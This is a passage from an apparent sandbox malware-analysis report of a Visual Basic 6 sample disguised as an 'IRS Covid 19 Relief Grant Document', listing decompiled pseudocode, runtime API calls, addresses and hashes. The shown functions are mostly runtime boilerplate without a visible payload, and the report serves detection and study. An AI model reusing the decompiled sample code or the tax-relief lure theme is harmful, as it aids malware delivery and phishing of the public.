__vbaLateIdSt.MSVBVM60(?,00000000,?,?,00000000), ref: 0041195D
__vbaFreeStr.MSVBVM60(?,00000000,?,?,00000000), ref: 00411965
__vbaFreeObj.MSVBVM60(?,00000000,?,?,00000000), ref: 0041196D
__vbaFreeVar.MSVBVM60(?,00000000,?,?,00000000), ref: 00411975
__vbaFreeObj.MSVBVM60(004119A3,00402A4C,?,?,?,?,004012E6), ref: 0041199D

Memory Dump Source

Source File: 00000000.00000002.242374999.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.242365413.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.242395437.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.242404679.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: __vba$Free$Chkstk$#693#716CheckHresultLateNew2
String ID:
API String ID: 3573304718-0
Opcode ID: 2087285c972bf6ab8bc49bea6a7d09ac8418ad54a57b2da6f9ca851dfbfe7c09
Instruction ID: dc683f89e3d43b833f95ff2c931c572e03d2bf73ec31fc0dd918be1bf18984e2
Opcode Fuzzy Hash: 2087285c972bf6ab8bc49bea6a7d09ac8418ad54a57b2da6f9ca851dfbfe7c09
Instruction Fuzzy Hash: F4312970900209ABDB10EFA1C846BEDBBB8AF08704F10402AF211B62F1C7B869469A19

Uniqueness

Uniqueness Score: -1.00%

Function 00411602, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 56%

			E00411602(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				short _v24;
				void* _v28;
				char _v44;
				intOrPtr _v68;
				char _v76;
				void* _v80;
				void* _v84;
				signed int _v88;
				intOrPtr* _v92;
				signed int _v96;
				char _v104;
				signed int _v108;
				signed int _v112;
				void* _t43;
				short _t46;
				short _t47;
				signed int _t53;
				signed int _t58;
				intOrPtr _t67;

				_push(0x4012e6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t67;
				_t43 = 0x5c;
				L004012E0();
				_v12 = _t67;
				_v8 = 0x401210;
				_push(0x402b40);
				L004013CA();
				_push(_t43);
				_push( &_v44);
				L004013D0();
				_v68 = 0x402a4c;
				_v76 = 0x8008;
				_push( &_v44);
				_t46 =  &_v76;
				_push(_t46);
				L004013F4();
				_v84 = _t46;
				L00401448();
				_t47 = _v84;
				if(_t47 != 0) {
					if( *0x41333c != 0) {
						_v104 = 0x41333c;
					} else {
						_push(0x41333c);
						_push(0x402a70);
						L00401472();
						_v104 = 0x41333c;
					}
					_t13 =  &_v104; // 0x41333c
					_v84 =  *((intOrPtr*)( *_t13));
					_t53 =  *((intOrPtr*)( *_v84 + 0x1c))(_v84,  &_v28);
					asm("fclex");
					_v88 = _t53;
					if(_v88 >= 0) {
						_v108 = _v108 & 0x00000000;
					} else {
						_push(0x1c);
						_push(0x402a60);
						_push(_v84);
						_push(_v88);
						L0040146C();
						_v108 = _t53;
					}
					_v92 = _v28;
					_t58 =  *((intOrPtr*)( *_v92 + 0x64))(_v92, 1,  &_v80);
					asm("fclex");
					_v96 = _t58;
					if(_v96 >= 0) {
						_v112 = _v112 & 0x00000000;
					} else {
						_push(0x64);
						_push(0x402b48);
						_push(_v92);
						_push(_v96);
						L0040146C();
						_v112 = _t58;
					}
					_t47 = _v80;
					_v24 = _t47;
					L00401466();
				}
				_push(0x41174b);
				return _t47;
			}

0x00411607
0x00411612
0x00411613
0x0041161c
0x0041161d
0x00411625
0x00411628
0x0041162f
0x00411634
0x00411639
0x0041163d
0x0041163e
0x00411643
0x0041164a
0x00411654
0x00411655
0x00411658
0x00411659
0x0041165e
0x00411665
0x0041166a
0x00411670
0x0041167d
0x00411697
0x0041167f
0x0041167f
0x00411684
0x00411689
0x0041168e
0x0041168e
0x0041169e
0x004116a3
0x004116b2
0x004116b5
0x004116b7
0x004116be
0x004116d7
0x004116c0
0x004116c0
0x004116c2
0x004116c7
0x004116ca
0x004116cd
0x004116d2
0x004116d2
0x004116de
0x004116ef
0x004116f2
0x004116f4
0x004116fb
0x00411714
0x004116fd
0x004116fd
0x004116ff
0x00411704
0x00411707
0x0041170a
0x0041170f
0x0041170f
0x00411718
0x0041171c
0x00411723
0x00411723
0x00411728
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 0041161D
__vbaI4Str.MSVBVM60(00402B40,?,?,?,?,004012E6), ref: 00411634
#608.MSVBVM60(?,00000000,00402B40,?,?,?,?,004012E6), ref: 0041163E
__vbaVarTstNe.MSVBVM60(00008008,?,?,?,?,?,?,?,?,?,?,00000000,00402B40), ref: 00411659
__vbaFreeVar.MSVBVM60(00008008,?,?,?,?,?,?,?,?,?,?,00000000,00402B40), ref: 00411665
__vbaNew2.MSVBVM60(00402A70,0041333C,00008008,?,?,?,?,?,?,?,?,?,?,00000000,00402B40), ref: 00411689
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402A60,0000001C,?,?,?,?,?,00008008,?), ref: 004116CD
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402B48,00000064,?,?,?,?,?,00008008,?), ref: 0041170A
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,00008008,?), ref: 00411723

Strings

<3A, xrefs: 0041169E

Memory Dump Source

Source File: 00000000.00000002.242374999.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.242365413.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.242395437.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.242404679.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: __vba$CheckFreeHresult$#608ChkstkNew2
String ID: <3A
API String ID: 1404394042-662753744
Opcode ID: 0070aac24e3ab1232b6d3cbfbefd1fae3eff46dd1939f02c77c82c048e048b72
Instruction ID: b6fb37eb03933c040a1fae626cced93426fc8b08d3f4769d7aebc8edf48081c0
Opcode Fuzzy Hash: 0070aac24e3ab1232b6d3cbfbefd1fae3eff46dd1939f02c77c82c048e048b72
Instruction Fuzzy Hash: B331C275D00248AFDB00EFD1C946BEEBBB8BF04704F10402AE601BB2A5D7B99985CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004123E1, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 56%

			E004123E1(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v24;
				signed int _v28;
				void* _v32;
				intOrPtr* _v36;
				signed int _v40;
				intOrPtr* _v44;
				signed int _v48;
				intOrPtr _v56;
				char _v60;
				signed int _v64;
				signed int _v68;
				signed int _t46;
				signed int _t51;
				signed int _t52;
				intOrPtr _t63;

				_push(0x4012e6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t63;
				_push(0x30);
				L004012E0();
				_v12 = _t63;
				_v8 = 0x4012d0;
				if( *0x41333c != 0) {
					_v60 = 0x41333c;
				} else {
					_push(0x41333c);
					_push(0x402a70);
					L00401472();
					_v60 = 0x41333c;
				}
				_t5 =  &_v60; // 0x41333c
				_v36 =  *((intOrPtr*)( *_t5));
				_t46 =  *((intOrPtr*)( *_v36 + 0x14))(_v36,  &_v32);
				asm("fclex");
				_v40 = _t46;
				if(_v40 >= 0) {
					_v64 = _v64 & 0x00000000;
				} else {
					_push(0x14);
					_push(0x402a60);
					_push(_v36);
					_push(_v40);
					L0040146C();
					_v64 = _t46;
				}
				_v44 = _v32;
				_t51 =  *((intOrPtr*)( *_v44 + 0x110))(_v44,  &_v28);
				asm("fclex");
				_v48 = _t51;
				if(_v48 >= 0) {
					_v68 = _v68 & 0x00000000;
				} else {
					_push(0x110);
					_push(0x402b80);
					_push(_v44);
					_push(_v48);
					L0040146C();
					_v68 = _t51;
				}
				_t52 = _v28;
				_v56 = _t52;
				_v28 = _v28 & 0x00000000;
				L0040142A();
				L00401466();
				_push(0x4124f2);
				L00401430();
				return _t52;
			}

0x004123e6
0x004123f1
0x004123f2
0x004123f9
0x004123fc
0x00412404
0x00412407
0x00412415
0x0041242f
0x00412417
0x00412417
0x0041241c
0x00412421
0x00412426
0x00412426
0x00412436
0x0041243b
0x0041244a
0x0041244d
0x0041244f
0x00412456
0x0041246f
0x00412458
0x00412458
0x0041245a
0x0041245f
0x00412462
0x00412465
0x0041246a
0x0041246a
0x00412476
0x00412485
0x0041248b
0x0041248d
0x00412494
0x004124b0
0x00412496
0x00412496
0x0041249b
0x004124a0
0x004124a3
0x004124a6
0x004124ab
0x004124ab
0x004124b4
0x004124b7
0x004124ba
0x004124c4
0x004124cc
0x004124d1
0x004124ec
0x004124f1

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 004123FC
__vbaNew2.MSVBVM60(00402A70,0041333C,?,?,?,?,004012E6), ref: 00412421
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402A60,00000014,?,?,?,?,?,?,?,?,?,?,?,004012E6), ref: 00412465
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402B80,00000110,?,?,?,?,?,?,?,?,?,?,?,004012E6), ref: 004124A6
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,004012E6), ref: 004124C4
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,004012E6), ref: 004124CC
__vbaFreeStr.MSVBVM60(004124F2,?,?,?,?,?,?,?,?,?,?,?,?,?,004012E6), ref: 004124EC

Strings

<3A, xrefs: 00412436

Memory Dump Source

Source File: 00000000.00000002.242374999.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.242365413.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.242395437.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.242404679.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: __vba$CheckFreeHresult$ChkstkMoveNew2
String ID: <3A
API String ID: 1253681662-662753744
Opcode ID: 92d674306c902228b3ca17e5cb100bde7876556fd1699825bd195043f9c8c218
Instruction ID: 6667572c917190a9efe343be31f9969caf5c33d5b28f93705af11867c388e29c
Opcode Fuzzy Hash: 92d674306c902228b3ca17e5cb100bde7876556fd1699825bd195043f9c8c218
Instruction Fuzzy Hash: 2C31C471D00208AFCF00DF95CA86BEEBBB4FB08715F50802AF501B62A1D7B859959F69

Uniqueness

Uniqueness Score: -1.00%

Function 00411FC1, Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 53%

			E00411FC1(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v36;
				char _v56;
				intOrPtr _v80;
				char _v88;
				short _v92;
				short _t18;
				short _t19;
				intOrPtr _t30;

				_push(0x4012e6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t30;
				_push(0x4c);
				L004012E0();
				_v12 = _t30;
				_v8 = 0x4012a0;
				L0040144E();
				_push(1);
				_push( &_v56);
				L00401388();
				_v80 = 0x402b6c;
				_v88 = 0x8008;
				_push( &_v56);
				_t18 =  &_v88;
				_push(_t18);
				L004013F4();
				_v92 = _t18;
				L00401448();
				_t19 = _v92;
				if(_t19 != 0) {
					_push(L"Vastiest");
					L00401382();
				}
				asm("wait");
				_push(0x412061);
				L00401448();
				return _t19;
			}

0x00411fc6
0x00411fd1
0x00411fd2
0x00411fd9
0x00411fdc
0x00411fe4
0x00411fe7
0x00411ff4
0x00411ff9
0x00411ffe
0x00411fff
0x00412004
0x0041200b
0x00412015
0x00412016
0x00412019
0x0041201a
0x0041201f
0x00412026
0x0041202b
0x00412031
0x00412033
0x00412038
0x00412038
0x0041203d
0x0041203e
0x0041205b
0x00412060

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411FDC
__vbaVarDup.MSVBVM60(?,?,?,?,004012E6), ref: 00411FF4
#526.MSVBVM60(?,00000001,?,?,?,?,004012E6), ref: 00411FFF
__vbaVarTstNe.MSVBVM60(00008008,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 0041201A
__vbaFreeVar.MSVBVM60(00008008,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 00412026
#532.MSVBVM60(Vastiest,00008008,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00412038
__vbaFreeVar.MSVBVM60(00412061,00008008,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041205B

Strings

Vastiest, xrefs: 00412033

Memory Dump Source

Source File: 00000000.00000002.242374999.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.242365413.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.242395437.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.242404679.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: __vba$Free$#526#532Chkstk
String ID: Vastiest
API String ID: 3418039184-17200459
Opcode ID: c38a60e275f3a1be1451222b108d6f5de349071d2db82a9fbeecd12695bc9795
Instruction ID: f252e349ecbd6e2fefbea1b96056db03f431c2815f37bcc045e2bd76b51f2cef
Opcode Fuzzy Hash: c38a60e275f3a1be1451222b108d6f5de349071d2db82a9fbeecd12695bc9795
Instruction Fuzzy Hash: 73014C71900248AADB00EBD1CA86EDEBB78EF04B04F50442BB500B61E0DBBC5A45CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004119B6, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E004119B6(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				intOrPtr* _v32;
				signed int _v36;
				intOrPtr* _v40;
				signed int _v44;
				char _v56;
				signed int _v60;
				signed int _v64;
				signed int _t45;
				signed int _t49;
				void* _t54;
				void* _t56;
				intOrPtr _t57;

				_t57 = _t56 - 0xc;
				 *[fs:0x0] = _t57;
				L004012E0();
				_v16 = _t57;
				_v12 = 0x401250;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x28,  *[fs:0x0], 0x4012e6, _t54);
				if( *0x41333c != 0) {
					_v56 = 0x41333c;
				} else {
					_push(0x41333c);
					_push(0x402a70);
					L00401472();
					_v56 = 0x41333c;
				}
				_t9 =  &_v56; // 0x41333c
				_v32 =  *((intOrPtr*)( *_t9));
				_t45 =  *((intOrPtr*)( *_v32 + 0x4c))(_v32,  &_v28);
				asm("fclex");
				_v36 = _t45;
				if(_v36 >= 0) {
					_v60 = _v60 & 0x00000000;
				} else {
					_push(0x4c);
					_push(0x402a60);
					_push(_v32);
					_push(_v36);
					L0040146C();
					_v60 = _t45;
				}
				_v40 = _v28;
				_t49 =  *((intOrPtr*)( *_v40 + 0x28))(_v40);
				asm("fclex");
				_v44 = _t49;
				if(_v44 >= 0) {
					_v64 = _v64 & 0x00000000;
				} else {
					_push(0x28);
					_push(0x402a80);
					_push(_v40);
					_push(_v44);
					L0040146C();
					_v64 = _t49;
				}
				L00401466();
				_push(0x411aab);
				return _t49;
			}

0x004119b9
0x004119c8
0x004119d2
0x004119da
0x004119dd
0x004119e4
0x004119f3
0x004119fd
0x00411a17
0x004119ff
0x004119ff
0x00411a04
0x00411a09
0x00411a0e
0x00411a0e
0x00411a1e
0x00411a23
0x00411a32
0x00411a35
0x00411a37
0x00411a3e
0x00411a57
0x00411a40
0x00411a40
0x00411a42
0x00411a47
0x00411a4a
0x00411a4d
0x00411a52
0x00411a52
0x00411a5e
0x00411a69
0x00411a6c
0x00411a6e
0x00411a75
0x00411a8e
0x00411a77
0x00411a77
0x00411a79
0x00411a7e
0x00411a81
0x00411a84
0x00411a89
0x00411a89
0x00411a95
0x00411a9a
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 004119D2
__vbaNew2.MSVBVM60(00402A70,0041333C,?,?,?,?,004012E6), ref: 00411A09
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402A60,0000004C), ref: 00411A4D
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402A80,00000028), ref: 00411A84
__vbaFreeObj.MSVBVM60 ref: 00411A95

Strings

p*@<3A, xrefs: 00411A81
<3A, xrefs: 00411A1E

Memory Dump Source

Source File: 00000000.00000002.242374999.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.242365413.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.242395437.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.242404679.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: __vba$CheckHresult$ChkstkFreeNew2
String ID: <3A$p*@<3A
API String ID: 1616694062-2612675504
Opcode ID: 6ddf803243ae5815d03ec91deb3f3cfc5813c5931ba9568a9fe182ff6357713f
Instruction ID: 1520c5bf2634b2bf31aaa53d3a866ebca9302f26cf306e77cd6d7372f04d6464
Opcode Fuzzy Hash: 6ddf803243ae5815d03ec91deb3f3cfc5813c5931ba9568a9fe182ff6357713f
Instruction Fuzzy Hash: 1431DF74A01208AFCB00DF95D989BDDBBF1AF08755F20806AF601B62A1C7B85A858F59

Uniqueness

Uniqueness Score: -1.00%

Function 00411ACA, Relevance: 10.6, APIs: 7, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E00411ACA(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a24) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				char _v36;
				intOrPtr* _v40;
				signed int _v44;
				intOrPtr* _v56;
				signed int _v60;
				char* _t36;
				signed int _t39;
				void* _t50;
				void* _t52;
				intOrPtr _t53;

				_t53 = _t52 - 0xc;
				 *[fs:0x0] = _t53;
				L004012E0();
				_v16 = _t53;
				_v12 = 0x401260;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x24,  *[fs:0x0], 0x4012e6, _t50);
				L00401436();
				if( *0x413010 != 0) {
					_v56 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v56 = 0x413010;
				}
				_t36 =  &_v36;
				L00401478();
				_v40 = _t36;
				_t39 =  *((intOrPtr*)( *_v40 + 0x1d4))(_v40, _t36,  *((intOrPtr*)( *((intOrPtr*)( *_v56)) + 0x300))( *_v56));
				asm("fclex");
				_v44 = _t39;
				if(_v44 >= 0) {
					_v60 = _v60 & 0x00000000;
				} else {
					_push(0x1d4);
					_push(0x402948);
					_push(_v40);
					_push(_v44);
					L0040146C();
					_v60 = _t39;
				}
				L00401466();
				_push(0x411bb5);
				L00401430();
				return _t39;
			}

0x00411acd
0x00411adc
0x00411ae6
0x00411aee
0x00411af1
0x00411af8
0x00411b07
0x00411b10
0x00411b1c
0x00411b36
0x00411b1e
0x00411b1e
0x00411b23
0x00411b28
0x00411b2d
0x00411b2d
0x00411b51
0x00411b55
0x00411b5a
0x00411b65
0x00411b6b
0x00411b6d
0x00411b74
0x00411b90
0x00411b76
0x00411b76
0x00411b7b
0x00411b80
0x00411b83
0x00411b86
0x00411b8b
0x00411b8b
0x00411b97
0x00411b9c
0x00411baf
0x00411bb4

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411AE6
__vbaStrCopy.MSVBVM60(?,?,?,?,004012E6), ref: 00411B10
__vbaNew2.MSVBVM60(00401FE0,00413010,?,?,?,?,004012E6), ref: 00411B28
__vbaObjSet.MSVBVM60(?,00000000), ref: 00411B55
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402948,000001D4), ref: 00411B86
__vbaFreeObj.MSVBVM60 ref: 00411B97
__vbaFreeStr.MSVBVM60(00411BB5), ref: 00411BAF

Memory Dump Source

Source File: 00000000.00000002.242374999.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.242365413.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.242395437.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.242404679.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: __vba$Free$CheckChkstkCopyHresultNew2
String ID:
API String ID: 2810356740-0
Opcode ID: 2ddfacce7d31cd982bc4630a5f415e6d0ad0580c04a2ec464e12ce593438b872
Instruction ID: 9b83ebfb03a4d060eb5e1bbc8e326809895374bf714f45f827d443a61622d4b1
Opcode Fuzzy Hash: 2ddfacce7d31cd982bc4630a5f415e6d0ad0580c04a2ec464e12ce593438b872
Instruction Fuzzy Hash: AF21E774A01208AFCB10DF95C989FDDBBF4BB08745F20406AF101B72B1D779AA45DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00411C3A, Relevance: 9.1, APIs: 6, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E00411C3A(void* __ebx, void* __edi, void* __esi, signed int* _a20) {
				intOrPtr _v12;
				intOrPtr _v16;
				char _v44;
				intOrPtr _v52;
				intOrPtr _v60;
				intOrPtr* _v64;
				signed int _v68;
				intOrPtr* _v80;
				signed int _v84;
				char* _t31;
				signed int _t35;
				void* _t47;
				intOrPtr _t48;

				_t48 = _t47 - 0xc;
				_push(0x4012e6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t48;
				_push(0x3c);
				L004012E0();
				_v16 = _t48;
				_v12 = 0x401280;
				 *_a20 =  *_a20 & 0x00000000;
				if( *0x413010 != 0) {
					_v80 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v80 = 0x413010;
				}
				_t31 =  &_v44;
				L00401478();
				_v64 = _t31;
				_v52 = 1;
				_v60 = 2;
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t35 =  *((intOrPtr*)( *_v64 + 0x1d4))(_v64, 0x10, _t31,  *((intOrPtr*)( *((intOrPtr*)( *_v80)) + 0x31c))( *_v80));
				asm("fclex");
				_v68 = _t35;
				if(_v68 >= 0) {
					_v84 = _v84 & 0x00000000;
				} else {
					_push(0x1d4);
					_push(0x402908);
					_push(_v64);
					_push(_v68);
					L0040146C();
					_v84 = _t35;
				}
				L00401466();
				_push(0x411d37);
				return _t35;
			}

0x00411c3d
0x00411c40
0x00411c4b
0x00411c4c
0x00411c53
0x00411c56
0x00411c5e
0x00411c61
0x00411c6b
0x00411c75
0x00411c8f
0x00411c77
0x00411c77
0x00411c7c
0x00411c81
0x00411c86
0x00411c86
0x00411caa
0x00411cae
0x00411cb3
0x00411cb6
0x00411cbd
0x00411cc7
0x00411cd1
0x00411cd2
0x00411cd3
0x00411cd4
0x00411cdd
0x00411ce3
0x00411ce5
0x00411cec
0x00411d08
0x00411cee
0x00411cee
0x00411cf3
0x00411cf8
0x00411cfb
0x00411cfe
0x00411d03
0x00411d03
0x00411d0f
0x00411d14
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411C56
__vbaNew2.MSVBVM60(00401FE0,00413010,?,?,?,?,004012E6), ref: 00411C81
__vbaObjSet.MSVBVM60(?,00000000), ref: 00411CAE
__vbaChkstk.MSVBVM60(?,00000000), ref: 00411CC7
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402908,000001D4), ref: 00411CFE
__vbaFreeObj.MSVBVM60 ref: 00411D0F

Memory Dump Source

Source File: 00000000.00000002.242374999.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.242365413.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.242395437.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.242404679.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: __vba$Chkstk$CheckFreeHresultNew2
String ID:
API String ID: 3189907775-0
Opcode ID: d0456c2de4f0ed51b5e269295f47e4d431a9be5cd17a029bbe212e8866de0cb1
Instruction ID: fa03411fb33e50ab2e15277cc18fc4a63afd26bd7ad58e9160981f6bf6d84d19
Opcode Fuzzy Hash: d0456c2de4f0ed51b5e269295f47e4d431a9be5cd17a029bbe212e8866de0cb1
Instruction Fuzzy Hash: 64210570E40208AFCB11DF91D88ABDDBBB4BF09745F10446AF501BB2B0C7B969458B59

Uniqueness

Uniqueness Score: -1.00%

Function 0041175E, Relevance: 9.0, APIs: 6, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E0041175E(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v36;
				char _v56;
				char _v72;
				char* _t14;
				intOrPtr _t25;

				_push(0x4012e6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t25;
				_push(0x38);
				L004012E0();
				_v12 = _t25;
				_v8 = 0x401220;
				_push( &_v56);
				L004013BE();
				_push(1);
				_push( &_v56);
				_t14 =  &_v72;
				_push(_t14);
				L004013C4();
				L00401460();
				L00401448();
				_push(0x4117d9);
				L00401448();
				return _t14;
			}

0x00411763
0x0041176e
0x0041176f
0x00411776
0x00411779
0x00411781
0x00411784
0x0041178e
0x0041178f
0x00411794
0x00411799
0x0041179a
0x0041179d
0x0041179e
0x004117a9
0x004117b1
0x004117b6
0x004117d3
0x004117d8

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411779
#610.MSVBVM60(?,?,?,?,?,004012E6), ref: 0041178F
#552.MSVBVM60(?,?,00000001,?,?,?,?,?,004012E6), ref: 0041179E
__vbaVarMove.MSVBVM60(?,?,00000001,?,?,?,?,?,004012E6), ref: 004117A9
__vbaFreeVar.MSVBVM60(?,?,00000001,?,?,?,?,?,004012E6), ref: 004117B1
__vbaFreeVar.MSVBVM60(004117D9,?,?,00000001,?,?,?,?,?,004012E6), ref: 004117D3

Memory Dump Source

Source File: 00000000.00000002.242374999.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.242365413.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.242395437.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.242404679.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: __vba$Free$#552#610ChkstkMove
String ID:
API String ID: 3185064854-0
Opcode ID: 62e33cee5f5793751e55970e88b0190cce9fb2c441fab63d228ed57453e68644
Instruction ID: ad5d89e7bd823973fd12e72dc5311847ed11cffd6dcad73188e8a112a73c3e11
Opcode Fuzzy Hash: 62e33cee5f5793751e55970e88b0190cce9fb2c441fab63d228ed57453e68644
Instruction Fuzzy Hash: 2FF0FF7195020CBBDB00EBD2C996FDEB77CEB04748F50456BB101B25E1EBBC6A048769

Uniqueness

Uniqueness Score: -1.00%

Function 004117F4, Relevance: 6.0, APIs: 4, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E004117F4(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				void* _t14;
				void* _t21;
				void* _t23;
				intOrPtr _t24;

				_t24 = _t23 - 0xc;
				 *[fs:0x0] = _t24;
				L004012E0();
				_v16 = _t24;
				_v12 = 0x401230;
				_v8 = 0;
				_t14 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0xc,  *[fs:0x0], 0x4012e6, _t21);
				L00401436();
				L004013B8();
				_push(0x411852);
				L00401430();
				return _t14;
			}

0x004117f7
0x00411806
0x00411810
0x00411818
0x0041181b
0x00411822
0x00411831
0x0041183a
0x0041183f
0x00411844
0x0041184c
0x00411851

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411810
__vbaStrCopy.MSVBVM60(?,?,?,?,004012E6), ref: 0041183A
#598.MSVBVM60(?,?,?,?,004012E6), ref: 0041183F
__vbaFreeStr.MSVBVM60(00411852,?,?,?,?,004012E6), ref: 0041184C

Memory Dump Source

Source File: 00000000.00000002.242374999.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.242365413.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.242395437.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.242404679.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

